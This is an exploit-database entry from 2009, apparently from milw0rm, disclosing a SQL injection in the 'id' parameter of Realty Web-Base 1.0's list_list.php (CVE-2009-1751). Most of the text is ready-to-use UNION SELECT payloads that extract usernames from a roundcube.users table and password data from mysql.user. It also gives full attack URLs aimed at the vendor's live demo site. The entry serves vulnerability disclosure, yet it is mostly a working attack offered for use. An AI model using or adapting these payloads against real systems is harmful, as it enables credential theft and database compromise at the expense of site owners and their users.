Realty Web-Base 1.0 - 'list_list.php?id' SQL Injection

Author: ThE g0bL!N
type: webapps
platform: php
port: 
date_added: 2009-05-19 
date_updated:  
verified: 1 
codes: OSVDB-54655;CVE-2009-1751 
tags: 
aliases:  
screenshot_url:  
application_url:

---------------------------------------------------------------
------------------------------------------------------------
Realty Web-Base v1.0 (list_list.php id) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : ThE g0bL!N
Home:WwW.h4ckF0u.CoM
Vendor:http://www.realtywebware.com
---------------------------------------------------------------
---------------------------------------------------------------
SQL Injection Vulnerability
------------------------------------------------
Exploit F0r user:
-----------------
list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--
Exploit For Pass:
----------------
list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--
--------------------------------------
Dem0
----
user:
-----
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--
pass:
----
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--
--------------------------------------
Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-20]